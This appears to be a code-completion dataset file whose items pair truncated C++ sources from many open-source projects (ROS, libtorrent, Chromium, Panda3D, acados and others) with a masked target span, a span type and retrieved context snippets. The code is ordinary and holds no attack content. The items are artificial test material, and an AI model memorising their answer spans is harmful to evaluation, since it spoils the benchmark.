#include <iostream> #include <pcl/io/pcd_io.h> #include <pcl_conversions/pcl_conversions.h> #include <pcl/point_cloud.h> #include <pcl/point_types.h> #include <pcl/kdtree/kdtree_flann.h> #include <pcl/search/kdtree.h> #include <pcl/search/impl/kdtree.hpp> #include <ros/ros.h> #include <ros/console.h> #include <sensor_...
e"); ros::NodeHandle n( "~" ); _all_map_pub = n.advertise<sensor_msgs::PointCloud2>("global_map", 1); n.param("init_state_x", _init_x, 0.0); n.param("init_state_y", _init_y, 0.0); n.param("map/x_size", _x_size, 50.0); n.param("map/y_size", _y_size, 50.0); n....
for(int i =0;i<50;i++){ for(int j=0;j<50;j++){ pt_random.x = i * _resolution; pt_random.y = j * _resolution; pt_random...
random
[ { "content": "using namespace Eigen;\n", "file_path": "grid_path_searcher/include/visualization.h", "rank": 0, "score": 38407.77504697899 }, { "content": "#ifdef BACKWARD_ATLEAST_CXX11\n\n#\tinclude <unordered_map>\n\n#\tinclude <utility> // for std::swap\n\n\tnamespace backward {\n\n\tnames...
C++
code/cmt/src/glm.cpp
itsb/cmt
dd37a2bcc7d477d0ee82994711acd13ee02f47a9
#include "exception.h" #include "utils.h" #include "glm.h" using CMT::GLM; #include "nonlinearities.h" using CMT::Nonlinearity; using CMT::LogisticFunction; #include "univariatedistributions.h" using CMT::UnivariateDistribution; using CMT::Bernoulli; #include <cmath> using std::log; using std::min; #include <map> ...
#include "exception.h" #include "utils.h" #include "glm.h" using CMT::GLM; #include "nonlinearities.h" using CMT::Nonlinearity; using CMT::LogisticFunction; #include "univariatedistributions.h" using CMT::UnivariateDistribution; using CMT::Bernoulli; #include <cmath> using std::log; using std::min; #include <map> ...
} #pragma omp critical logLik += mDistribution->logLikelihood(output, means).sum(); } double normConst = outputCompl.cols() * log(2.); if(g) { for(int i = 0; i < offset; ++i) g[i] /= normConst; if(params.trainWeights) weightsGrad += params.regularizeWeights.gradient(weights); if(params.trainBi...
if(params.trainNonlinearity) { VectorXd nonlinearityGrad_ = (trainableNonlinearity->gradient(responses).rowwise() * tmp1).rowwise().sum(); #pragma omp critical nonlinearityGrad += nonlinearityGrad_; }
if_condition
[ { "content": "\tclass Bernoulli : public UnivariateDistribution {\n\n\t\tpublic:\n\n\t\t\tBernoulli(double prob = 0.5);\n\n\n\n\t\t\tinline double probability() const;\n\n\t\t\tinline void setProbability(double prob);\n\n\n\n\t\t\tvirtual double mean() const;\n\n\t\t\tvirtual void setMean(double mean);\n\n\n\n\...
C++
deprecated/src/Graphics/GUI/Items/Label.cpp
Arzana/Plutonium
5a17c93e5072ac291b96347a4df196e1609fabe2
#include "Graphics\GUI\Items\Label.h" #include "Core\StringFunctions.h" Plutonium::Label::Label(Game * parent, const Font * font) : Label(parent, GetDefaultBounds(), font) {} Plutonium::Label::Label(Game * parent, Rectangle bounds, const Font * font) : GuiItem(parent, bounds), autoSize(false), textColor(GetDefaultT...
#include "Graphics\GUI\Items\Label.h" #include "Core\StringFunctions.h" Plutonium::Label::Label(Game * parent, const Font * font) : Label(parent, GetDefaultBounds(), font) {} Plutonium::Label::Label(Game * parent, Rectangle bounds, const Font * font) : GuiItem(parent, bounds), autoSize(false), textColor(GetDefaultT...
} void Plutonium::Label::OnMoved(const GuiItem *, ValueChangedEventArgs<Vector2>) { const Vector2 baseOffset = -Vector2(0.0f, GetRoundingFactor() * 0.5f); textPos = GetBounds().Position + baseOffset + offset; } void Plutonium::Label::UpdateTextMesh(void) { size_t len = strlen(visibleText), size = len * 6; if (...
if (autoSize) { Vector2 size = GetSize(); Vector2 dim = strlen(visibleText) > 0 ? dim = font->MeasureString(visibleText) + offset * 2.0f : GetMinSize(); if (dim != Vector2::Zero() && (dim.X != size.X || dim.Y != size.Y)) SetSize(dim); }
if_condition
[ { "content": "\tclass FontRenderer\n\n\t{\n\n\tpublic:\n\n\t\t/* Initializes a new instance of a font renderer. */\n\n\t\tFontRenderer(_In_ Game *game, _In_ const char *font, _In_ const char *vrtxShdr, _In_ const char *fragShdr, _In_ int loadWeight);\n\n\t\tFontRenderer(_In_ const FontRenderer &value) = delete;...
C++
pandatool/src/lwoegg/lwoToEggConverter.cxx
sean5470/panda3d
ea2d4fecd4af1d4064c5fe2ae2a902ef4c9b903d
#include "lwoToEggConverter.h" #include "cLwoLayer.h" #include "cLwoClip.h" #include "cLwoPoints.h" #include "cLwoPolygons.h" #include "cLwoSurface.h" #include "eggData.h" #include "lwoHeader.h" #include "lwoLayer.h" #include "lwoClip.h" #include "lwoPoints.h" #include "lwoPolygons.h" #include "lwoVertexMap.h" #incl...
#include "lwoToEggConverter.h" #include "cLwoLayer.h" #include "cLwoClip.h" #include "cLwoPoints.h" #include "cLwoPolygons.h" #include "cLwoSurface.h" #include "eggData.h" #include "lwoHeader.h" #include "lwoLayer.h" #include "lwoClip.h" #include "lwoPoints.h" #include "lwoPolygons.h" #include "lwoVertexMap.h" #incl...
void LwoToEggConverter:: cleanup() { _lwo_header.clear(); if (_generic_layer != (CLwoLayer *)NULL) { delete _generic_layer; _generic_layer = (CLwoLayer *)NULL; } Layers::iterator li; for (li = _layers.begin(); li != _layers.end(); ++li) { CLwoLayer *layer = (*li); if (layer != (CLwoLayer *...
get_surface(const string &name) const { Surfaces::const_iterator si; si = _surfaces.find(name); if (si != _surfaces.end()) { return (*si).second; } return (CLwoSurface *)NULL; }
function_block-function_prefix_line
[ { "content": "class XFileDataObjectString : public XFileDataObject {\n\npublic:\n\n XFileDataObjectString(const XFileDataDef *data_def, const string &value);\n\n\n\n virtual void output_data(ostream &out) const;\n\n virtual void write_data(ostream &out, int indent_level,\n\n const ch...
C++
src/libs/dependency_graph/connections.cpp
martin-pr/possumwood
0ee3e0fe13ef27cf14795a79fb497e4d700bef63
#include "connections.h" #include "graph.h" #include "port.h" namespace dependency_graph { Connections::PortId Connections::getId(const Port& p) const { return Connections::PortId{p.node().index(), p.index()}; } const Port& Connections::getPort(const Connections::PortId& id) const { return m_parent->nodes()[id.no...
#include "connections.h" #include "graph.h" #include "port.h" namespace dependency_graph { Connections::PortId Connections::getId(const Port& p) const { return Connections::PortId{p.node().index(), p.index()}; } const Port& Connections::getPort(const Connections::PortId& id) const { return m_parent->nodes()[id.no...
first); const Port& right = getPort(val.second); return std::pair<const Port&, const Port&>(left, right); } const std::pair<Port&, Port&> Connections::convertConst( const Connections::connections_container::left_value_type& val) { Port& left = getPort(val.first); Port& right = getPort(val.second); return st...
return true; return false; } boost::optional<const Port&> Connections::connectedFrom(const Port& p) const { auto it = m_connections.right.lower_bound(getId(p)); if((it == m_connections.right.end()) || (it->first != getId(p))) return boost::optional<const Port&>(); else { assert(m_connections.right.count(g...
random
[ { "content": "class Port;\n", "file_path": "src/libs/dependency_graph/connections.h", "rank": 0, "score": 168972.74826270746 }, { "content": "class Port;\n\n\n", "file_path": "src/libs/qt_node_editor/connected_edge.h", "rank": 1, "score": 162377.06828544452 }, { "content"...
C++
simulation/test_checking.cpp
teddywest32/libtorrent
1dd0e9b280f01750d5e204cca475bd06d30540c4
#include "libtorrent/session.hpp" #include "libtorrent/deadline_timer.hpp" #include "libtorrent/address.hpp" #include "libtorrent/torrent_status.hpp" #include "simulator/simulator.hpp" #include "simulator/utils.hpp" #include "test.hpp" #include "settings.hpp" #include "create_torrent.hpp" #include "utils.hpp" templ...
#include "libtorrent/session.hpp" #include "libtorrent/deadline_timer.hpp" #include "libtorrent/address.hpp" #include "libtorrent/torrent_status.hpp" #include "simulator/simulator.hpp" #include "simulator/utils.hpp" #include "test.hpp" #include "settings.hpp" #include "create_torrent.hpp" #include "utils.hpp" templ...
TEST_EQUAL(tor.size(), 1); TEST_EQUAL(tor[0].status().is_seeding, true); }); } TORRENT_TEST(checking_volatile_limit_cache_size) { run_test( [](lt::add_torrent_params& atp, lt::settings_pack& p) { atp.flags |= lt::add_torrent_params::flag_auto_managed; p.set_int(lt::settings_pack::cache_size, 10); p....
atp, lt::settings_pack& p) { atp.flags |= lt::add_torrent_params::flag_auto_managed; p.set_int(lt::settings_pack::cache_size, 100); }, [](lt::session& ses) { int const cache = get_cache_size(ses); TEST_CHECK(cache > 0); std::vector<lt::torrent_handle> tor = ses.get_torrents(); TEST_EQUAL(tor.size...
random
[ { "content": "\tbencode(std::back_inserter(out), e);\n\n\tTEST_EQUAL(out, \"d21:max_out_request_queuei1337ee\");\n\n}\n\n\n\nTORRENT_TEST(sparse_pack)\n\n{\n\n\tsettings_pack pack;\n\n\tTEST_EQUAL(pack.has_val(settings_pack::send_redundant_have), false);\n\n\n\n\tpack.set_bool(settings_pack::send_redundant_have...
C++
OpenSim/Moco/MocoCasADiSolver/CasOCFunction.cpp
MariaHammer/opensim-core_HaeufleMuscle
96257e9449d9ac430bbb54e56cd13aaebeee1242
#include "CasOCFunction.h" #include "CasOCProblem.h" using namespace CasOC; casadi::Sparsity calcJacobianSparsityWithPerturbation(const VectorDM& x0s, int numOutputs, std::function<void(const casadi::DM&, casadi::DM&)> function) { OPENSIM_THROW_IF(x0s.size() < 1, OpenSim::Exception, ...
#include "CasOCFunction.h" #include "CasOCProblem.h" using namespace CasOC; casadi::Sparsity calcJacobianSparsityWithPerturbation(const VectorDM& x0s, int numOutputs, std::function<void(const casadi::DM&, casadi::DM&)> function) { OPENSIM_THROW_IF(x0s.size() < 1, OpenSim::Exception, ...
->getNumParameters(), 1); } else { return casadi::Sparsity(0, 0); } } casadi::Sparsity VelocityCorrection::get_sparsity_out(casadi_int i) { if (i == 0) { return casadi::Sparsity::dense(m_casProblem->getNumSpeeds(), 1); } else { return casadi::Sparsity(0, 0); } } casadi::DM ...
on::get_sparsity_in(casadi_int i) { if (i == 0) { return casadi::Sparsity::dense(1, 1); } else if (i == 1) { return casadi::Sparsity::dense( m_casProblem->getNumStates() - m_casProblem->getNumAuxiliaryStates(), 1); } else if (i == 2) { ...
function_block-random_span
[ { "content": "class SparsityDetectionProblem : public Problem<T> {\n\npublic:\n\n SparsityDetectionProblem() : Problem<T>(2, 2) {\n\n this->set_variable_bounds(Vector2d(0, 0), Vector2d(1, 1));\n\n this->set_constraint_bounds(Vector2d(0, 0), Vector2d(0, 0));\n\n }\n\n void calc_objective(c...
C++
lpc824/main.cpp
tinic/rgb-led-panel-sign-v2
65124356ad992d25c185ba9453be1f4c1aad60c1
#include "LPC82x.h" #define LED0 2 #define LED1 3 #define STB 14 // latch #define CLK 15 // clock #define OE 16 // led on/off #define COL_R0 17 #define COL_G0 18 #define COL_B0 19 #define COL_R1 20 #define COL_G1 21 #define COL_B1 22 #define ADDR_A 24 #define ADDR_B 25 #define ADDR_C 26 #define ADD...
#include "LPC82x.h" #define LED0 2 #define LED1 3 #define STB 14 // latch #define CLK 15 // clock #define OE 16 // led on/off #define COL_R0 17 #define COL_G0 18 #define COL_B0 19 #define COL_R1 20 #define COL_G1 21 #define COL_B1 22 #define ADDR_A 24 #define ADDR_B 25 #define ADDR_C 26 #define ADD...
; #else ( ( ( a >> 6 ) & 1 ) << COL_R0 )| // 17 ( ( ( a >> 14 ) & 1 ) << COL_G0 )| ( ( ( a >> 22 ) & 1 ) << COL_B0 )| ( ( ( a >> 30 ) & 1 ) << COL_R1 )| ( ( ( b >> 6 ) & 1 ) << COL_G1 )| ( ( ( b >> 14 ) & 1 ) << COL_B1 ); #endif *mpin0 = set; set |= (1<<CLK); *mpin0 =...
1 (( a << 11 )| ( a << 4 )| ( a >> 3 )| ( a >> 10 )| ( b << 15 )| ( b << 8 ))
call_expression
[ { "content": "static void SerialTimeoutSet(ISP_ENVIRONMENT *IspEnvironment, unsigned timeout_milliseconds)\n\n{\n\n#if defined COMPILE_FOR_LINUX\n\n IspEnvironment->serial_timeout_count = timeout_milliseconds / 100;\n\n#elif defined COMPILE_FOR_LPC21\n\n IspEnvironment->serial_timeout_count = timeout_mill...
C++
gazebo_mission_control/src/OperatorOverlay.cpp
bbrieber/simulation_utils
d844d67a2053cf6baff800e8afac4808dee9fb27
#include <sstream> #include <gazebo/msgs/msgs.hh> #include "gazebo_mission_control/OperatorOverlay.hpp" using namespace gazebo; GZ_REGISTER_GUI_PLUGIN(OperatorOverlay) OperatorOverlay::OperatorOverlay() : GUIPlugin() { init(); this->counter = 0; this->setStyleSheet( "QFrame { background-color : rg...
#include <sstream> #include <gazebo/msgs/msgs.hh> #include "gazebo_mission_control/OperatorOverlay.hpp" using namespace gazebo; GZ_REGISTER_GUI_PLUGIN(OperatorOverlay) OperatorOverlay::OperatorOverlay() : GUIPlugin() { init(); this->counter = 0; this->setStyleSheet( "QFrame { background-color : rg...
moveOperator() { this->updateConnection = event::Events::ConnectWorldUpdateBegin( boost::bind(&OperatorOverlay::onUpdate, this, _1)); }
function_block-function_prefixed
[ { "content": " class GAZEBO_VISIBLE OperatorOverlay : public GUIPlugin\n\n {\n\n Q_OBJECT\n\n\n\n /// \\brief Constructor\n\n /// \\param[in] _parent Parent widget\n\n public: \n\n OperatorOverlay();\n\n /// \\brief Destructor\n\n virtual ~OperatorOverlay();\n\n ...
C++
wxWidgets/UserInterface/App_ShowTaskBarIcon.cpp
st-gb/CPUinfoAndControl
5e93d4a195b4692d147bb05cfef534e38d7f8b64
#ifndef WX_PRECOMP #include "wx/app.h" #endif #include "wx/wx.h" #include <wx/filename.h> #include <compiler/GCC/enable_disable_write_strings_warning.h> IGNORE_WRITE_STRINGS_WARNING #include <x86IandC.xpm> ENABLE_WRITE_STRINGS_WARNING #include <wxWidgets/App.hpp> #include <preprocessor_macros/logging_prepr...
#ifndef WX_PRECOMP #include "wx/app.h" #endif #include "wx/wx.h" #include <wx/filename.h> #include <compiler/GCC/enable_disable_write_strings_warning.h> IGNORE_WRITE_STRINGS_WARNING #include <x86IandC.xpm> ENABLE_WRITE_STRINGS_WARNING #include <wxWidgets/App.hpp> #include <preprocessor_macros/logging_prepr...
if( CreateTaskBarIcon(m_p_HighestCPUcoreTemperatureTaskBarIcon, "highest CPU core temperature") ) { if( m_p_HighestCPUcoreTemperatureTaskBarIcon->m_p_wxicon_drawer ) { wxDC & r_wxdc = m_p_HighestCPUcoreTemperatureTaskBarIcon-> m_p_wxicon_drawer->GetDC(); wxFont & wxfont = (wxFont...
if( mp_modelData->m_userinterfaceattributes. m_bShowCPUcoresMultipliersIconInTaskBar) CreateTaskBarIcon(m_p_CPUcoresMultipliersTaskbarIcon, "CPU cores multipliers in % of min and max");
if_condition
[ { "content": "//from wxWidgets' sample tbtest\n\n// Created: 01/02/97\n\n// RCS-ID: $Id: tbtest.h 36336 2005-12-03 17:55:33Z vell $\n\nclass TaskBarIcon\n\n : public wxTaskBarIcon\n\n{\n\nprivate:\n\n WORD m_1stSetMaximumCPUcoreMultiplierEventID;\n\n WORD m_1stThrottleCPUcoreTemperatureEventID;\n\n ...
C++
Tool/fbxToEffekseerModelConverter/fbxToMdl.VertexAnimation.cpp
emadurandal/Effekseer
c5cb963c9a8483258a9f972bd681b0c08b2ceef3
#include "fbxToMdl.VertexAnimation.h" #include "Utils.h" #include <fstream> #include <iostream> namespace fbxToEfkMdl { void VertexAnimation::Export(const char* path, std::shared_ptr<Scene> scene, std::shared_ptr<AnimationClip> anim, float modelScale) { auto meshes = GetAllMeshes(scene->Root); auto nodes = GetAllNo...
#include "fbxToMdl.VertexAnimation.h" #include "Utils.h" #include <fstream> #include <iostream> namespace fbxToEfkMdl { void VertexAnimation::Export(const char* path, std::shared_ptr<Scene> scene, std::shared_ptr<AnimationClip> anim, float modelScale) { auto meshes = GetAllMeshes(scene->Root); auto nodes = GetAllNo...
} } } if (anim != nullptr) { for (auto a : anim->Animations) { for (auto& node : nodes) { if (a->Name != node.TargetNode->Name) continue; node.Animations[(int32_t)a->Target] = a; break; } } } AssignAllDefaultGlobalMateixes(nodes); const int Version = 5; int32_t mode...
if (mesh.Target->BoneConnectors[i].Name == nodes[j].TargetNode->Name) { mesh.Connectors[i].NodeIndex = j; break; }
if_condition
[ { "content": "class Node : public std::enable_shared_from_this<Node>\n\n{\n\nprivate:\n\n\tfriend class Material;\n\n\tbool isDirtied = true;\n\n\tbool isContentDirtied = false;\n\n\tbool isPosDirtied_ = true;\n\n\n\n\tstd::weak_ptr<Material> material_;\n\n\n\npublic:\n\n\tstd::shared_ptr<NodeParameter> Paramet...
C++
boost/histogram/detail/operators.hpp
cpp-pm/boost
38c6c8c07f2fcc42d573b10807fef27ec14930f8
#ifndef BOOST_HISTOGRAM_DETAIL_OPERATORS_HPP #define BOOST_HISTOGRAM_DETAIL_OPERATORS_HPP #include <boost/histogram/detail/detect.hpp> #include <boost/mp11/algorithm.hpp> #include <boost/mp11/list.hpp> #include <boost/mp11/utility.hpp> namespace boost { namespace histogram { namespace detail { template <class T, c...
#ifndef BOOST_HISTOGRAM_DETAIL_OPERATORS_HPP #define BOOST_HISTOGRAM_DETAIL_OPERATORS_HPP #include <boost/histogram/detail/detect.hpp> #include <boost/mp11/algorithm.hpp> #include <boost/mp11/list.hpp> #include <boost/mp11/utility.hpp> namespace boost { namespace histogram { namespace detail { template <class T, c...
noexcept { return b > a; } template <class U> friend if_not_same_and_has_eq<T, U> operator>(const U& a, const T& b) noexcept { return b < a; } template <class U> friend if_not_same_and_has_eq<T, U> operator==(const U& a, const T& b) noexcept { return b == a; } template <class U> friend if...
truct mirrored { friend bool operator<(const U& a, const T& b) noexcept { return b > a; } friend bool operator>(const U& a, const T& b) noexcept { return b < a; } friend bool operator==(const U& a, const T& b) noexcept { return b == a; } friend bool operator<=(const U& a, const T& b) noexcept { return b >= a; }...
random
[]
C++
MyBot/MyBot.cpp
Sijumah/Sijdiscbot
c58433b1bcaacc17ee17637c2daa6ce07d6d4120
#pragma once #include <iostream> #include <string> #include <fstream> std::string get_token() { std::ifstream reader("C:\\Users\\Sijumah\\Desktop\\discordtoken.txt",std::ifstream::in); std::string answer; std::getline(reader, answer); reader.close(); return answer; }; std::string Sbot...
#pragma once #include <iostream> #include <string> #include <fstream> std::string get_token() { std::ifstream reader("C:\\Users\\Sijumah\\Desktop\\discordtoken.txt",std::ifstream::in); std::string answer; std::getline(reader, answer); reader.close(); return answer; }; std::string Sbot...
}); bot.on_select_click([&bot](const dpp::select_click_t& event) { event.reply(dpp::ir_channel_message_with_source, "You clicked " + event.custom_id + " and chose: " + event.values[0]); }); bot.on_log([](const dpp::log_t& event) { if (event.severity > dpp::ll_trac...
if (event.msg.content == "!select") { dpp::message m(event.msg.channel_id, "this text has a select menu"); m.add_component( dpp::component().add_component( dpp::component().set_type(dpp::cot_selectmenu). set_placeholder("Pick s...
if_condition
[ { "content": " function is called on a JSON null value, an empty array is created before\n\n appending @a val.\n\n\n\n @param[in] val the value to add to the JSON array\n\n\n\n @throw type_error.308 when called on a type other than JSON array or\n\n null; example: `\"cannot use push_back() with n...
C++
net/socket/tcp_socket_unittest.cc
google-ar/chromium
2441c86a5fd975f09a6c30cddb57dfb7fc239699
#include "net/socket/tcp_socket.h" #include <stddef.h> #include <string.h> #include <memory> #include <string> #include <vector> #include "base/memory/ref_counted.h" #include "base/test/simple_test_tick_clock.h" #include "base/time/time.h" #include "net/base/address_list.h" #include "net/base/io_buffer.h" #include...
#include "net/socket/tcp_socket.h" #include <stddef.h> #include <string.h> #include <memory> #include <string> #include <vector> #include "base/memory/ref_counted.h" #include "base/test/simple_test_tick_clock.h" #include "base/time/time.h" #include "net/base/address_list.h" #include "net/base/io_buffer.h" #include...
ASSERT_THAT(socket_.GetLocalAddress(&local_address_), IsOk()); *success = true; } void TestAcceptAsync() { TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; ASSERT_EQ(ERR_IO_PENDING, socket_.Accept(&accepted_socke...
if (socket_.Open(ADDRESS_FAMILY_IPV6) != OK || socket_.Bind(IPEndPoint(IPAddress::IPv6Localhost(), 0)) != OK || socket_.Listen(kListenBacklog) != OK) { LOG(ERROR) << "Failed to listen on ::1 - probably because IPv6 is " "disabled. Skipping the test"; return; }
if_condition
[]
C++
examples/video/camera.cpp
krusher336/egt
117cfe805ae550086cf5b828c67febd7dc55c53d
#include <chrono> #include <cxxopts.hpp> #include <egt/detail/string.h> #include <egt/ui> #include <sstream> #include <string> static std::string line_break(const std::string& in, size_t width = 50) { std::string out; std::string tmp; char last = '\0'; size_t i = 0; for (auto& cur : in) { ...
#include <chrono> #include <cxxopts.hpp> #include <egt/detail/string.h> #include <egt/ui> #include <sstream> #include <string> static std::string line_break(const std::string& in, size_t width = 50) { std::string out; std::string tmp; char last = '\0'; size_t i = 0; for (auto& cur : in) { ...
; const auto wscale = static_cast<float>(egt::Application::instance().screen()->size().width()) / size.width(); const auto hscale = static_cast<float>(egt::Application::instance().screen()->size().height()) / size.height(); player.on_event([&player, &win, &size, wscale](egt::Event & event) { s...
player.on_disconnect([&player, &errlabel, dev](const std::string & devnode) { errlabel.text(line_break("Device removed: " + devnode)); if (player.device() == devnode) { std::cout << devnode << "is disconnected: stoping it" << std::endl; player.stop(); } })
call_expression
[ { "content": "class CameraWindowTest : public testing::TestWithParam<std::string> {};\n\n\n\nTEST_P(CameraWindowTest, CameraWidget)\n\n{\n\n egt::Application app;\n\n egt::TopWindow win;\n\n std::shared_ptr<egt::CameraWindow> m_camera;\n\n std::string file = GetParam();\n\n egt::Size size(320, 24...
C++
tests/organization_test.cc
chungphb/chirpstack-client
6a0f80f887776d6270ef821be1ccf99d87aca146
#include "test_config.h" #include <chirpstack_client/chirpstack_client.h> #include <iostream> using namespace chirpstack_cpp_client; struct test_cache { int64_t organization_id; api::Organization organization; int64_t user_id; api::OrganizationUser organization_user; }; void create_user(chirpstack_...
#include "test_config.h" #include <chirpstack_client/chirpstack_client.h> #include <iostream> using namespace chirpstack_cpp_client; struct test_cache { int64_t organization_id; api::Organization organization; int64_t user_id; api::OrganizationUser organization_user; }; void create_user(chirpstack_...
cache.user_id = response.get().id(); } void delete_user(chirpstack_client& client, test_cache& cache) { delete_user_request request; request.set_id(cache.user_id); auto response = client.delete_user(request); if (!response.is_valid()) { std::cerr << "Failed to delete user:...
if (!response.is_valid()) { std::cerr << "Failed to create user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); }
if_condition
[ { "content": " create_organization_response create_organization(const create_organization_request& request);\n", "file_path": "include/chirpstack_client/chirpstack_client.h", "rank": 1, "score": 79281.36845334683 }, { "content": " get_organization_response get_organization(const get_or...
C++
zircon/system/ulib/fs/transaction/block_transaction.cc
casey/fuchsia
2b965e9a1e8f2ea346db540f3611a5be16bb4d6b
#include <fs/transaction/block_transaction.h> #include <zircon/device/block.h> #include <utility> #include <fbl/algorithm.h> #include <fbl/macros.h> #include <fbl/vector.h> namespace fs { BlockTxn::BlockTxn(LegacyTransactionHandler* handler) : handler_(handler) {} BlockTxn::~BlockTxn() { Transact(); } #ifdef _...
#include <fs/transaction/block_transaction.h> #include <zircon/device/block.h> #include <utility> #include <fbl/algorithm.h> #include <fbl/macros.h> #include <fbl/vector.h> namespace fs { BlockTxn::BlockTxn(LegacyTransactionHandler* handler) : handler_(handler) {} BlockTxn::~BlockTxn() { Transact(); } #ifdef _...
zx_status_t BlockTxn::Transact() { return ZX_OK; } #endif }
void BlockTxn::EnqueueOperation(uint32_t op, const void* id, uint64_t vmo_offset, uint64_t dev_offset, uint64_t nblocks) { for (size_t b = 0; b < nblocks; b++) { void* data = GetBlock(handler_->FsBlockSize(), id, vmo_offset + b); if (op == BLOCKIO_WRITE) { handler_->Write...
function_block-full_function
[]
C++
experimental/robin/acados_cpp/function_generation.cpp
mindThomas/acados
90d75386cad9f2b16115cce04685e90934c0f7d8
#include "acados_cpp/function_generation.hpp" #include <vector> namespace acados { using std::string; using std::vector; casadi_module generate_nls_residual(const casadi::Function& residual, string output_folder, const bool use_MX) { casadi::Function r_fun; if (use_MX == ...
#include "acados_cpp/function_generation.hpp" #include <vector> namespace acados { using std::string; using std::vector; casadi_module generate_nls_residual(const casadi::Function& residual, string output_folder, const bool use_MX) { casadi::Function r_fun; if (use_MX == ...
casadi_module generate_impl_ode_jac_x_xdot_u_z(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX xdot = model.sx_in("xdot"); casadi::SX u = model...
z); casadi::MX jac_xdot = casadi::MX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_fun_jac_x_xdot_z", {x, xdot, u, z}, {rhs, jac_x, jac_xdot, jac_z}); } return casadi_module(fun, output_folder); }
function_block-function_prefixed
[ { "content": " void *model;\n", "file_path": "acados/sim/sim_common.h", "rank": 0, "score": 126955.81104697057 }, { "content": "def smooth_fun(x, p, a):\n", "file_path": "examples/c/engine_model/engine_model.py", "rank": 1, "score": 125208.48970062159 }, { "content": "...